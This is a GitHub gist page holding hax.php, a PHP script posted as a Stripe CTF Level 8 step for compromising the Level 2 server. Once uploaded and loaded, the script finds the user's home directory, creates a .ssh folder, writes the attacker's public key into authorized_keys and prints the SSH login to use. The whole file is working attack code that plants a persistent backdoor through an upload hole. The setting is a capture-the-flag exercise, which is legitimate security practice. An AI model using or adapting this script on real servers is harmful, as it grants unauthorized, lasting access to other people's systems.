Skip to content

Instantly share code, notes, and snippets.

@bubba-h57

bubba-h57/hax.php

Created August 25, 2012 02:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bubba-h57/3459016 to your computer and use it in GitHub Desktop.
Save bubba-h57/3459016 to your computer and use it in GitHub Desktop.
Download ZIP
Stripe CTF Level 8 - Compromise Level 2 Server for SSH login w/Public Key
Raw
hax.php
<html>
<head>
<title>Bubba Hacks Level 2 Server</title>
</head>
<body>
<?php
$myPubKey = 'STICK YER OWN PUB KEY INFO HERE';
print "Finding Real Path ...<br/>";
// This should be something like
// /mount/home/user-cijredgaxu/public_html/uploads
$uploadsDir = realpath(getcwd());
print("Found $uploadsDir <br/>");
list($empty, $mount, $home, $userid, $public, $up) = split('/', $uploadsDir);
//print $userid;
// easier to just move back two directories
// to get to our home dir
chdir($uploadsDir . '/../..');
$homeDir = realpath(getcwd());
print("Moved to $homeDir<br/>");
$sshDir = $homeDir . '/.ssh';
@mkdir($sshDir);
$authorized_keys = $sshDir . '/authorized_keys';
if (file_put_contents($authorized_keys, $myPubKey) === FALSE){
die("Couldn't write to $authorized_keys!");
}
print("Wrote your public key to $authorized_keys.<br/>");
print("You may now SSH in as <strong>$userid&{$_SERVER['SERVER_NAME']}</strong> with the appropriate private key!");
?>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment